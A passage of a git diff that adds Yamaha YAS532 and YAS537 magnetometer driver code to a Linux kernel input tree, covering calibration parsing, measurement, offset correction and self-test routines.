(uint8_t)(((data[10]&0x01)<<1) | ((data[11]>>7)&0x01)); + c->rxy1y2[0] = ((int8_t)(((data[10]>>1) & 0x3f)<<2))>>2; + c->fxy1y2[1] = (uint8_t)(((data[11]&0x01)<<1) | ((data[12]>>7)&0x01)); + c->rxy1y2[1] = ((int8_t)(((data[11]>>1) & 0x3f)<<2))>>2; + c->fxy1y2[2] = (uint8_t)(((data[12]&0x01)<<1) | ((data[13]>>7)&0x01)); + c->rxy1y2[2] = ((int8_t)(((data[12]>>1) & 0x3f)<<2))>>2; + c->cx = data[0] * 10 - 1280; + c->cy1 = data[1] * 10 - 1280; + c->cy2 = data[2] * 10 - 1280; + c->a2 = ((data[3]>>2)&0x03f) - 32; + c->a3 = (uint8_t)(((data[3]<<2) & 0x0c) | ((data[4]>>6) & 0x03)) - 8; + c->a4 = (uint8_t)(data[4] & 0x3f) - 32; + c->a5 = ((data[5]>>2) & 0x3f) + 38; + c->a6 = (uint8_t)(((data[5]<<4) & 0x30) | ((data[6]>>4) & 0x0f)) - 32; + c->a7 = (uint8_t)(((data[6]<<3) & 0x78) | ((data[7]>>5) & 0x07)) - 64; + c->a8 = (uint8_t)(((data[7]<<1) & 0x3e) | ((data[8]>>7) & 0x01)) - 32; + c->a9 = (uint8_t)(((data[8]<<1) & 0xfe) | ((data[9]>>7) & 0x01)); + c->k = (uint8_t)((data[9]>>2) & 0x1f); + for (i = 0; i < 13; i++) + if (data[i] != 0) + return YAS_NO_ERROR; + if (data[13] & 0x80) + return YAS_NO_ERROR; + return YAS_ERROR_CALREG; +} + +#if YAS532_DRIVER_NO_SLEEP +static int busy_wait(void) +{ + int i; + uint8_t busy; + for (i = 0; i < YAS_MAG_MAX_BUSY_LOOP; i++) { + if (yas_read(YAS532_REG_DATAR, &busy, 1) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (!(busy & 0x80)) + return YAS_NO_ERROR; + } + return YAS_ERROR_BUSY; +} + +static int wait_if_busy(void) +{ + int rt; + if (driver.start_flag && driver.wait_flag) { + rt = busy_wait(); + if (rt < 0) + return rt; + driver.wait_flag = 0; + } + return YAS_NO_ERROR; +} +#endif + +static int measure_start_yas532(int ldtc, int fors, int wait) +{ + uint8_t data = 0x01; + data = (uint8_t)(data | (((!!ldtc)<<1) & 0x02)); + data = (uint8_t)(data | (((!!fors)<<2) & 0x04)); + if (yas_single_write(YAS532_REG_CMDR, data) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; +#if YAS532_DRIVER_NO_SLEEP + if (wait) { + int rt; + rt = busy_wait(); + if (rt < 0) + return rt; + driver.wait_flag = 0; + } else + driver.wait_flag = 1; + driver.start_flag = 1; +#else + (void) wait; + driver.cbk.usleep(1500); +#endif + return YAS_NO_ERROR; +} + +static int measure_normal_yas532(int ldtc, int fors, int *busy, uint16_t *t, + uint16_t *xy1y2, int *ouflow) +{ + uint8_t data[8]; + int i, rt; +#if YAS532_DRIVER_NO_SLEEP + if (!driver.start_flag) { +#endif + rt = measure_start_yas532(ldtc, fors, 1); + if (rt < 0) + return rt; +#if YAS532_DRIVER_NO_SLEEP + } +#endif + if (yas_read(YAS532_REG_DATAR, data, 8) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; +#if YAS532_DRIVER_NO_SLEEP + driver.start_flag = 0; +#endif + *busy = (data[0]>>7) & 0x01; + *t = (uint16_t)((((int32_t)data[0]<<3) & 0x3f8)|((data[1]>>5) & 0x07)); + xy1y2[0] = (uint16_t)((((int32_t)data[2]<<6) & 0x1fc0) + | ((data[3]>>2) & 0x3f)); + xy1y2[1] = (uint16_t)((((int32_t)data[4]<<6) & 0x1fc0) + | ((data[5]>>2) & 0x3f)); + xy1y2[2] = (uint16_t)((((int32_t)data[6]<<6) & 0x1fc0) + | ((data[7]>>2) & 0x3f)); + *ouflow = 0; + for (i = 0; i < 3; i++) { + if (xy1y2[i] == YAS532_DATA_OVERFLOW) + *ouflow |= (1<<(i*2)); + if (xy1y2[i] == YAS532_DATA_UNDERFLOW) + *ouflow |= (1<<(i*2+1)); + } + return YAS_NO_ERROR; +} + +static int yas_cdrv_set_offset(const int8_t *offset) +{ + if (yas_single_write(YAS532_REG_OXR, (uint8_t)offset[0]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS532_REG_OY1R, (uint8_t)offset[1]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS532_REG_OY2R, (uint8_t)offset[2]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + set_vector(driver.hard_offset, offset); + return YAS_NO_ERROR; +} + +static int yas_cdrv_measure_and_set_offset(void) +{ + static const int correct[5] = {16, 8, 4, 2, 1}; + int8_t hard_offset[3] = {0, 0, 0}; + uint16_t t, xy1y2[3]; + int32_t flag[3]; + int i, j, busy, ouflow, rt; +#if YAS532_DRIVER_NO_SLEEP + driver.start_flag = 0; +#endif + for (i = 0; i < 5; i++) { + rt = yas_cdrv_set_offset(hard_offset); + if (rt < 0) + return rt; + rt = measure_normal_yas532(0, 0, &busy, &t, xy1y2, &ouflow); + if (rt < 0) + return rt; + if (busy) + return YAS_ERROR_BUSY; + for (j = 0; j < 3; j++) { + if (YAS532_DATA_CENTER == xy1y2[j]) + flag[j] = 0; + if (YAS532_DATA_CENTER < xy1y2[j]) + flag[j] = 1; + if (xy1y2[j] < YAS532_DATA_CENTER) + flag[j] = -1; + } + for (j = 0; j < 3; j++) + if (flag[j]) + hard_offset[j] = (int8_t)(hard_offset[j] + + flag[j] * correct[i]); + } + return yas_cdrv_set_offset(hard_offset); +} + +static int yas_cdrv_sensitivity_measuremnet(int32_t *sx, int32_t *sy) +{ + struct yas_cal_data *c = &driver.cal; + uint16_t xy1y2_on[3], xy1y2_off[3], t; + int busy, flowon = 0, flowoff = 0; + if (measure_normal_yas532(1, 0, &busy, &t, xy1y2_on, &flowon) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (busy) + return YAS_ERROR_BUSY; + if (measure_normal_yas532(1, 1, &busy, &t, xy1y2_off, &flowoff) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (busy) + return YAS_ERROR_BUSY; + *sx = c->k * (xy1y2_on[0] - xy1y2_off[0]) * 10 / YAS_MAG_VCORE; + *sy = c->k * c->a5 * ((xy1y2_on[1] - xy1y2_off[1]) + - (xy1y2_on[2] - xy1y2_off[2])) / 10 / YAS_MAG_VCORE; + return flowon | flowoff; +} + +static int yas_get_position(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + + printk("%s, position = %d\n", __func__, driver.position); + + return driver.position; +} + +static int yas_set_position(int position) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (position < 0 || 7 < position) + return YAS_ERROR_ARG; + + printk("%s, position = %d\n", __func__, position); + + if (position == YAS532_MAG_NOTRANS_POSITION) + driver.transform = NULL; + else + driver.transform = YAS532_TRANSFORMATION[position]; + driver.position = position; + return YAS_NO_ERROR; +} + +static int yas_set_offset(const int8_t *hard_offset) +{ + if (!driver.enable) { + set_vector(driver.hard_offset, hard_offset); + return YAS_NO_ERROR; + } + if (is_valid_offset(hard_offset)) { +#if YAS532_DRIVER_NO_SLEEP + int rt; + rt = wait_if_busy(); + if (rt < 0) + return rt; +#endif + if (yas_cdrv_set_offset(hard_offset) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.measure_state = YAS532_MAG_STATE_NORMAL; + } else { + set_vector(driver.hard_offset, INVALID_OFFSET); + driver.measure_state = YAS532_MAG_STATE_MEASURE_OFFSET; + } + return YAS_NO_ERROR; +} + +static int yas_measure(struct yas_data *data, int num, int temp_correction, + int *ouflow) +{ + struct yas_cal_data *c = &driver.cal; + int32_t xy1y2_linear[3]; + int32_t xyz_tmp[3], tmp; + int32_t sx, sy1, sy2, sy, sz; + int i, busy; + uint16_t t, xy1y2[3]; + uint32_t tm; + int rt; +#if (1 < YAS532_MAG_TEMPERATURE_LOG) + int32_t sum = 0; +#endif + *ouflow = 0; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (data == NULL || num < 0) + return YAS_ERROR_ARG; + if (driver.cbk.current_time == NULL) + driver.current_time += (uint32_t)driver.delay; + if (num == 0) + return 0; + if (!driver.enable) + return 0; + switch (driver.measure_state) { + case YAS532_MAG_STATE_INIT_COIL: + tm = curtime(); + if (tm - driver.overflow_time < YAS532_MAG_INITCOIL_TIMEOUT) + break; + driver.overflow_time = tm; + if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (!driver.overflow && is_valid_offset(driver.hard_offset)) { + driver.measure_state = YAS532_MAG_STATE_NORMAL; + break; + } + /* FALLTHRU */ + case YAS532_MAG_STATE_MEASURE_OFFSET: + rt = yas_cdrv_measure_and_set_offset(); + if (rt < 0) + return rt; + driver.measure_state = YAS532_MAG_STATE_NORMAL; + break; + } + + if (measure_normal_yas532(0, 0, &busy, &t, xy1y2, ouflow) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + xy1y2_to_linear(xy1y2, xy1y2_linear); +#if (1 < YAS532_MAG_TEMPERATURE_LOG) + driver.t.log[driver.t.idx++] = t; + if (YAS532_MAG_TEMPERATURE_LOG <= driver.t.idx) + driver.t.idx = 0; + driver.t.num++; + if (YAS532_MAG_TEMPERATURE_LOG <= driver.t.num) + driver.t.num = YAS532_MAG_TEMPERATURE_LOG; + for (i = 0; i < driver.t.num; i++) + sum += driver.t.log[i]; + tmp = sum * 10 / driver.t.num - YAS532_TEMP20DEGREE_TYPICAL * 10; +#else + tmp = (t - YAS532_TEMP20DEGREE_TYPICAL) * 10; +#endif + sx = xy1y2_linear[0]; + sy1 = xy1y2_linear[1]; + sy2 = xy1y2_linear[2]; + if (temp_correction) { + sx -= (c->cx * tmp) / 1000; + sy1 -= (c->cy1 * tmp) / 1000; + sy2 -= (c->cy2 * tmp) / 1000; + } + sy = sy1 - sy2; + sz = -sy1 - sy2; + data->xyz.v[0] = c->k * ((100 * sx + c->a2 * sy + c->a3 * sz) / 10); + data->xyz.v[1] = c->k * ((c->a4 * sx + c->a5 * sy + c->a6 * sz) / 10); + data->xyz.v[2] = c->k * ((c->a7 * sx + c->a8 * sy + c->a9 * sz) / 10); + if (driver.transform != NULL) { + for (i = 0; i < 3; i++) { + xyz_tmp[i] = driver.transform[i*3] * data->xyz.v[0] + + driver.transform[i*3+1] * data->xyz.v[1] + + driver.transform[i*3+2] * data->xyz.v[2]; + } + set_vector(data->xyz.v, xyz_tmp); + } + for (i = 0; i < 3; i++) { + data->xyz.v[i] -= data->xyz.v[i] % 10; + if (*ouflow & (1<<(i*2))) + data->xyz.v[i] += 1; /* set overflow */ + if (*ouflow & (1<<(i*2+1))) + data->xyz.v[i] += 2; /* set underflow */ + } + tm = curtime(); + data->type = YAS_TYPE_MAG; + if (driver.cbk.current_time) + data->timestamp = tm; + else + data->timestamp = 0; + data->accuracy = 0; + if (busy) + return YAS_ERROR_BUSY; + if (0 < *ouflow) { + if (!driver.overflow) + driver.overflow_time = tm; + driver.overflow = 1; + driver.measure_state = YAS532_MAG_STATE_INIT_COIL; + } else + driver.overflow = 0; + for (i = 0; i < 3; i++) + driver.last_raw[i] = xy1y2[i]; + driver.last_raw[i] = t; +#if YAS532_DRIVER_NO_SLEEP + rt = measure_start_yas532(0, 0, 0); + if (rt < 0) + return rt; +#endif + return 1; +} + +static int yas_measure_wrap(struct yas_data *data, int num) +{ + int ouflow; + return yas_measure(data, num, 1, &ouflow); +} + +static int yas_get_delay(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + return driver.delay; +} + +static int yas_set_delay(int delay) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (delay < 0) + return YAS_ERROR_ARG; + driver.delay = delay; + return YAS_NO_ERROR; +} + +static int yas_get_enable(void) +{ + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + return driver.enable; +} + +static int yas_set_enable(int enable) +{ + int rt = YAS_NO_ERROR; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + enable = !!enable; + if (driver.enable == enable) + return YAS_NO_ERROR; + if (enable) { + if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS532_REG_TEST1R, 0x00) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + if (yas_single_write(YAS532_REG_TEST2R, 0x00) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + if (is_valid_offset(driver.hard_offset)) { + if (yas_cdrv_set_offset(driver.hard_offset) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + driver.measure_state = YAS532_MAG_STATE_NORMAL; + } else { + set_vector(driver.hard_offset, INVALID_OFFSET); + driver.measure_state = YAS532_MAG_STATE_MEASURE_OFFSET; + } + } else { +#if YAS532_DRIVER_NO_SLEEP + rt = wait_if_busy(); +#endif + driver.cbk.device_close(YAS_TYPE_MAG); + } + driver.enable = enable; + return rt; +} + +static int yas_ext(int32_t cmd, void *p) +{ + struct yas532_self_test_result *r; + struct yas_data data; + int32_t xy1y2_linear[3], *raw_xyz; + int rt, i, enable, ouflow, position; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + if (p == NULL) + return YAS_ERROR_ARG; + + switch (cmd) { + case YAS532_SELF_TEST: + r = (struct yas532_self_test_result *) p; + r->id = driver.dev_id; + enable = driver.enable; + if (!enable) { + rt = yas_set_enable(1); + if (rt < 0) + return rt; + } +#if YAS532_DRIVER_NO_SLEEP + rt = wait_if_busy(); + if (rt < 0) + return rt; +#endif + if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + yas_set_offset(INVALID_OFFSET); + position = yas_get_position(); + yas_set_position(YAS532_MAG_NOTRANS_POSITION); + rt = yas_measure(&data, 1, 0, &ouflow); + yas_set_position(position); + set_vector(r->xy1y2, driver.hard_offset); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } + if (ouflow & YAS_OVERFLOW) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_OVERFLOW; + } + if (ouflow & YAS_UNDERFLOW) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_UNDERFLOW; + } + if (data.xyz.v[0] == 0 && data.xyz.v[1] == 0 + && data.xyz.v[2] == 0) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_DIRCALC; + } + r->dir = 99; + for (i = 0; i < 3; i++) + r->xyz[i] = data.xyz.v[i] / 1000; +#if YAS532_DRIVER_NO_SLEEP + rt = wait_if_busy(); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } + driver.start_flag = 0; +#endif + rt = yas_cdrv_sensitivity_measuremnet(&r->sx, &r->sy); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } + if (rt & YAS_OVERFLOW) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_OVERFLOW; + } + if (rt & YAS_UNDERFLOW) { + if (!enable) + yas_set_enable(0); + return YAS_ERROR_UNDERFLOW; + } + if (!enable) + yas_set_enable(0); + return YAS_NO_ERROR; + case YAS532_SELF_TEST_NOISE: + raw_xyz = (int32_t *) p; + enable = driver.enable; + if (!enable) { + rt = yas_set_enable(1); + if (rt < 0) + return rt; + } +#if YAS532_DRIVER_NO_SLEEP + rt = wait_if_busy(); + if (rt < 0) + return rt; +#endif + rt = yas_measure(&data, 1, 0, &ouflow); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } +#if YAS532_DRIVER_NO_SLEEP + rt = wait_if_busy(); + if (rt < 0) { + if (!enable) + yas_set_enable(0); + return rt; + } +#endif + xy1y2_to_linear(driver.last_raw, xy1y2_linear); + raw_xyz[0] = xy1y2_linear[0]; + raw_xyz[1] = xy1y2_linear[1] - xy1y2_linear[2]; + raw_xyz[2] = -xy1y2_linear[1] - xy1y2_linear[2]; + if (!enable) + yas_set_enable(0); + return YAS_NO_ERROR; + case YAS532_GET_HW_OFFSET: + set_vector((int8_t *) p, driver.hard_offset); + return YAS_NO_ERROR; + case YAS532_SET_HW_OFFSET: + return yas_set_offset((int8_t *) p); + case YAS532_GET_LAST_RAWDATA: + for (i = 0; i < 4; i++) + ((uint16_t *) p)[i] = driver.last_raw[i]; + return YAS_NO_ERROR; + default: + break; + } + return YAS_ERROR_ARG; +} + +static int yas_init(void) +{ + int i, rt; + uint8_t data; + if (driver.initialized) + return YAS_ERROR_INITIALIZE; + if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_read(YAS532_REG_DEVID, &data, 1) < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_DEVICE_COMMUNICATION; + } + driver.dev_id = data; + if (driver.dev_id != YAS532_DEVICE_ID) { + driver.cbk.device_close(YAS_TYPE_MAG); + return YAS_ERROR_CHIP_ID; + } + rt = get_cal_data_yas532(&driver.cal); + if (rt < 0) { + driver.cbk.device_close(YAS_TYPE_MAG); + return rt; + } + driver.cbk.device_close(YAS_TYPE_MAG); + + driver.measure_state = YAS532_MAG_STATE_INIT_COIL; + set_vector(driver.hard_offset, INVALID_OFFSET); + driver.overflow = 0; + driver.overflow_time = driver.current_time; + driver.position = YAS532_MAG_NOTRANS_POSITION; + driver.delay = YAS_DEFAULT_SENSOR_DELAY; + driver.enable = 0; + driver.transform = NULL; +#if YAS532_DRIVER_NO_SLEEP + driver.start_flag = 0; + driver.wait_flag = 0; +#endif +#if (1 < YAS532_MAG_TEMPERATURE_LOG) + driver.t.num = driver.t.idx = 0; +#endif + driver.current_time = curtime(); + for (i = 0; i < 3; i++) { + driver.coef[i] = yas532_version_ac_coef[i]; + driver.last_raw[i] = 0; + } + driver.last_raw[3] = 0; + driver.initialized = 1; + return YAS_NO_ERROR; +} + +static int yas_term(void) +{ + int rt; + if (!driver.initialized) + return YAS_ERROR_INITIALIZE; + rt = yas_set_enable(0); + driver.initialized = 0; + return rt; +} + +int yas_mag_driver_init(struct yas_mag_driver *f) +{ + if (f == NULL || f->callback.device_open == NULL + || f->callback.device_close == NULL + || f->callback.device_read == NULL + || f->callback.device_write == NULL +#if !YAS532_DRIVER_NO_SLEEP + || f->callback.usleep == NULL +#endif + ) + return YAS_ERROR_ARG; + f->init = yas_init; + f->term = yas_term; + f->get_delay = yas_get_delay; + f->set_delay = yas_set_delay; + f->get_enable = yas_get_enable; + f->set_enable = yas_set_enable; + f->get_position = yas_get_position; + f->set_position = yas_set_position; + f->measure = yas_measure_wrap; + f->ext = yas_ext; + driver.cbk = f->callback; + yas_term(); + return YAS_NO_ERROR; +} +#endif diff --git a/drivers/input/misc/yas_mag_drv-yas537.c b/drivers/input/misc/yas_mag_drv-yas537.c new file mode 100644 index 0000000000000..01bc010462814 --- /dev/null +++ b/drivers/input/misc/yas_mag_drv-yas537.c @@ -0,0 +1,699 @@ +/* + * Copyright (c) 2014 Yamaha Corporation + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * 3. This notice may not be removed or altered from any source distribution. + */ + +#include "yas.h" + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + +#define YAS537_REG_DIDR (0x80) +#define YAS537_REG_CMDR (0x81) +#define YAS537_REG_CONFR (0x82) +#define YAS537_REG_INTRVLR (0x83) +#define YAS537_REG_OXR (0x84) +#define YAS537_REG_OY1R (0x85) +#define YAS537_REG_OY2R (0x86) +#define YAS537_REG_AVRR (0x87) +#define YAS537_REG_HCKR (0x88) +#define YAS537_REG_LCKR (0x89) +#define YAS537_REG_SRSTR (0x90) +#define YAS537_REG_ADCCALR (0x91) +#define YAS537_REG_MTCR (0x93) +#define YAS537_REG_OCR (0x9e) +#define YAS537_REG_TRMR (0x9f) +#define YAS537_REG_DATAR (0xb0) +#define YAS537_REG_CALR (0xc0) + +#define YAS537_DATA_UNDERFLOW (0) +#define YAS537_DATA_OVERFLOW (16383) +#define YAS537_DEVICE_ID (0x07) /* YAS537 (MS-3T) */ + +#define YAS_X_OVERFLOW (0x01) +#define YAS_X_UNDERFLOW (0x02) +#define YAS_Y1_OVERFLOW (0x04) +#define YAS_Y1_UNDERFLOW (0x08) +#define YAS_Y2_OVERFLOW (0x10) +#define YAS_Y2_UNDERFLOW (0x20) +#define YAS_OVERFLOW (YAS_X_OVERFLOW|YAS_Y1_OVERFLOW|YAS_Y2_OVERFLOW) +#define YAS_UNDERFLOW (YAS_X_UNDERFLOW|YAS_Y1_UNDERFLOW|YAS_Y2_UNDERFLOW) + +#define YAS537_MAG_STATE_NORMAL (0) +#define YAS537_MAG_STATE_INIT_COIL (1) +#define YAS537_MAG_STATE_RECORD_DATA (2) +#define YAS537_MAG_INITCOIL_TIMEOUT (1000) /* msec */ +#define YAS537_MAG_POWER_ON_RESET_TIME (4000) /* usec */ +#define YAS537_MAG_NOTRANS_POSITION (2) + +#define YAS537_MAG_AVERAGE_32 (0) +#define YAS537_MAG_AVERAGE_64 (1) +#define YAS537_MAG_AVERAGE_128 (2) +#define YAS537_MAG_AVERAGE_256 (3) + +#define set_vector(to, from) \ + {int _l; for (_l = 0; _l < 3; _l++) (to)[_l] = (from)[_l]; } + +struct yas_cal { + int8_t a2, a3, a4, a6, a7, a8; + int16_t a5, a9; + uint8_t k, ver; +}; + +struct yas_cdriver { + int initialized; + struct yas_driver_callback cbk; + int measure_state; + int invalid_data; + uint32_t invalid_data_time; + int position; + int delay; + int enable; + uint8_t dev_id; + const int8_t *transform; + int record_data; + int average; + int8_t hard_offset[3]; + uint32_t current_time; + uint16_t last_raw[4]; + uint16_t last_after_rcoil[3]; + struct yas_cal cal; +}; + +static const int measure_time_worst[] = {2000, 4000, 8000, 16000}; + +static const int8_t YAS537_TRANSFORMATION[][9] = { + {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, + { 0, -1, 0, 1, 0, 0, 0, 0, 1 }, + { 1, 0, 0, 0, 1, 0, 0, 0, 1 }, + { 0, 1, 0, -1, 0, 0, 0, 0, 1 }, + { 1, 0, 0, 0, -1, 0, 0, 0, -1 }, + { 0, 1, 0, 1, 0, 0, 0, 0, -1 }, + {-1, 0, 0, 0, 1, 0, 0, 0, -1 }, + { 0, -1, 0, -1, 0, 0, 0, 0, -1 }, +}; +static struct yas_cdriver driver; + +static int yas_set_enable(int enable); + +static int yas_open(void) +{ + if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.cbk.usleep(YAS537_MAG_POWER_ON_RESET_TIME); + return YAS_NO_ERROR; +} +#define yas_read(a, b, c) \ + (driver.cbk.device_read(YAS_TYPE_MAG, (a), (b), (c))) +static int yas_single_write(uint8_t addr, uint8_t data) +{ + return driver.cbk.device_write(YAS_TYPE_MAG, addr, &data, 1); +} + +static uint32_t curtime(void) +{ + if (driver.cbk.current_time) + return driver.cbk.current_time(); + else + return driver.current_time; +} + +static int invalid_magnetic_field(uint16_t *cur, uint16_t *last) +{ + int16_t invalid_thresh[] = {1500, 1500, 1500}; + int i; + for (i = 0; i < 3; i++) + if (invalid_thresh[i] < ABS(cur[i] - last[i])) + return 1; + return 0; +} + +static int start_yas537(int ldtc, int fors, int cont) +{ + uint8_t data = 0x01; + data = (uint8_t)(data | (ldtc<<1)); + data = (uint8_t)(data | (fors<<2)); + data = (uint8_t)(data | (cont<<5)); + if (yas_single_write(YAS537_REG_CMDR, data) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + return YAS_NO_ERROR; +} + +static int cont_start_yas537(void) +{ + if (start_yas537(0, 0, 1) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + /* wait for the first measurement */ + driver.cbk.usleep(measure_time_worst[driver.average]); + driver.measure_state = YAS537_MAG_STATE_RECORD_DATA; + return YAS_NO_ERROR; +} + +static int read_yas537(int *bad, int *busy, uint16_t *t, uint16_t *xy1y2, + int *ouflow) +{ + uint8_t data[8]; + int i; + if (yas_read(YAS537_REG_DATAR, data, 8) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + *busy = data[2]>>7; + *bad = (data[2]>>6) & 0x01; + *t = (uint16_t)((data[0]<<8) | data[1]); + xy1y2[0] = (uint16_t)(((data[2]&0x3f)<<8) | data[3]); + xy1y2[1] = (uint16_t)((data[4]<<8) | data[5]); + xy1y2[2] = (uint16_t)((data[6]<<8) | data[7]); + for (i = 0; i < 3; i++) + driver.last_raw[i] = xy1y2[i]; + driver.last_raw[i] = *t; + if (driver.cal.ver == 1) { + struct yas_cal *c = &driver.cal; + int32_t h[3], s[3]; + for (i = 0; i < 3; i++) + s[i] = xy1y2[i] - 8192; + h[0] = (c->k * (128*s[0] + c->a2*s[1] + c->a3*s[2])) / 8192; + h[1] = (c->k * (c->a4*s[0] + c->a5*s[1] + c->a6*s[2])) / 8192; + h[2] = (c->k * (c->a7*s[0] + c->a8*s[1] + c->a9*s[2])) / 8192; + for (i = 0; i < 3; i++) { + if (h[i] < -8192) + h[i] = -8192; + if (8191 < h[i]) + h[i] = 8191; + xy1y2[i] = h[i] + 8192; + } + } + *ouflow = 0; + for (i = 0; i < 3; i++) { + if (YAS537_DATA_OVERFLOW <= xy1y2[i]) + *ouflow |= (1<<(i*2)); + if (xy1y2[i] == YAS537_DATA_UNDERFLOW) + *ouflow |= (1<<(i*2+1)); + } + return YAS_NO_ERROR; +} + +static int update_intrvlr(int delay) +{ + uint8_t data; + /* delay worst 6.15 x SMPLTIM [7:0] msec */ + if ((1568250 + measure_time_worst[driver.average]) / 1000 < delay) + delay = 1568250 + measure_time_worst[driver.average]; + else + delay *= 1000; + delay = (delay - measure_time_worst[driver.average]) / 6150; + if (delay <= 0) + data = 1; + else + data = (uint8_t) delay; + if (yas_single_write(YAS537_REG_INTRVLR, data) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + return YAS_NO_ERROR; +} + +static int reset_yas537(void) +{ + int cal_valid = 0, i; + uint8_t data[17]; + if (yas_single_write(YAS537_REG_SRSTR, 0x02) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_read(YAS537_REG_CALR, data, 17) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.cal.ver = data[16] >> 6; + for (i = 0; i < 17; i++) { + if (i < 16 && data[i] != 0) + cal_valid = 1; + if (i == 16 && (data[i] & 0x3f) != 0) + cal_valid = 1; + } + if (!cal_valid) + return YAS_ERROR_CALREG; + if (driver.cal.ver == 0) { + for (i = 0; i < 17; i++) { + if (i < 12) { + if (yas_single_write(YAS537_REG_MTCR+i, + data[i]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + } else if (i < 15) { + if (yas_single_write(YAS537_REG_OXR+i-12, + data[i]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.hard_offset[i-12] = data[i]; + } else { + if (yas_single_write(YAS537_REG_OXR+i-11, + data[i]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + } + } + } else if (driver.cal.ver == 1) { + for (i = 0; i < 3; i++) { + if (yas_single_write(YAS537_REG_MTCR+i, + data[i]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_OXR+i, + data[i+12]) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.hard_offset[i] = data[i+12]; + } + if (yas_single_write(YAS537_REG_MTCR+i, + (data[i] & 0xe0) | 0x10) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_HCKR, (data[15]>>3)&0x1e) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_LCKR, (data[15]<<1)&0x1e) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_OCR, data[16]&0x3f) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.cal.a2 = (((data[3]<<2)&0x7c) | (data[4]>>6)) - 64; + driver.cal.a3 = (((data[4]<<1)&0x7e) | (data[5]>>7)) - 64; + driver.cal.a4 = (((data[5]<<1)&0xfe) | (data[6]>>7)) - 128; + driver.cal.a5 = (((data[6]<<2)&0x1fc) | (data[7]>>6)) - 112; + driver.cal.a6 = (((data[7]<<1)&0x7e) | (data[8]>>7)) - 64; + driver.cal.a7 = (((data[8]<<1)&0xfe) | (data[9]>>7)) - 128; + driver.cal.a8 = (data[9]&0x7f) - 64; + driver.cal.a9 = (((data[10]<<1)&0x1fe) | (data[11]>>7)) - 112; + driver.cal.k = data[11]&0x7f; + } else + return YAS_ERROR_CALREG; + /* FIXME */ + if (yas_single_write(YAS537_REG_ADCCALR, 0x00) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_single_write(YAS537_REG_ADCCALR+1, 0x00) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if 